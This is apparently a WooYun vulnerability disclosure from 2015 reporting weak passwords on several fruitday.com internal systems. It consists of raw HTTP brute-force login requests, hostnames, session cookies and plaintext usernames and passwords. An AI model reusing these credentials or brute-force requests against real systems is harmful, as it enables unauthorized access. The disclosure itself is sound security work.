当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112405

漏洞标题：天天果园多个管理系统问题复查打包提交

相关厂商：fruitday.com

漏洞作者： 爱上平顶山

提交时间：2015-05-07 12:16

修复时间：2015-06-21 12:24

公开时间：2015-06-21 12:24

漏洞类型：系统/服务运维配置不当

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-07： 细节已通知厂商并且等待厂商处理中
2015-05-07： 厂商已经确认，细节仅向厂商公开
2015-05-17： 细节向核心白帽子及相关领域专家公开
2015-05-27： 细节向普通白帽子公开
2015-06-06： 细节向实习白帽子公开
2015-06-21： 细节向公众公开

简要描述：

...

详细说明：

1.天天果园+员工系统复查打包

POST /auth/login HTTP/1.1
Host: staff.fday.co
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://staff.fday.co/auth/login
Content-Length: 57
Cookie: dancer.session=168632648533771985445257226784471953
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
username=§zhaohw§&password=§96e79218965eb72c92a549dd5a330112§


0.png


现在加密传输 但是依旧可以 直接把密码加密爆破即可。
我只长沙了四个
以上的密码是：fday2014

1.png


ok
培训安全吧
2.Home系统
天天果园+Home系统复查打包

home2.fday.co  home.fday.co  home.fday.xyz  home.fruitday.com


加载了16个你们常用的密码 你应该知道哪16个.

POST / HTTP/1.1
Host: home.fday.co
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://home.fday.co/
Cookie: dancer.session=39793281078180618453932874684883169
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=lius&password=123456


0.png


1.png


好了 请复查.

漏洞证明：

3.天天果园+fenche.oms系统复查打包
fenche.oms
直接fuzz 用常用16字典.

POST /login?failed=1 HTTP/1.1
Host: fenche.fday.co
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://fenche.fday.co/login?failed=1
Cookie: dancer.session=165846329466190170118964272277472777
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
username=sandcard&password=123456


http://fenche.fday.xyz
用户名：danju 密码：danju#fruitday@2014

0.png


批评教育他吧.
4.天天果园+dingdan系统复查打包
dingdan 订单系统

http://dingdan.fday.xyz  http://dingdan.fday.co  
账号：libo
密码：fday2015


0.png


教育.
5.天天果园+cang仓库系统复查打包
天天果园
直接20个常用字典fuzz.

http://cang.fday.xyz/  http://cang.fday.co
账号：libo
密码：fday2015


0.png


教育.

修复方案：

··

版权声明：转载请注明来源 爱上平顶山@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-05-07 12:23

厂商回复：

非常感谢！我们会尽快确认修复，谢谢！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-07 19:05 | hh2014 ( 普通白帽子 | Rank:225 漏洞数:39 | 继续)

    RANK马上超过2哥了啊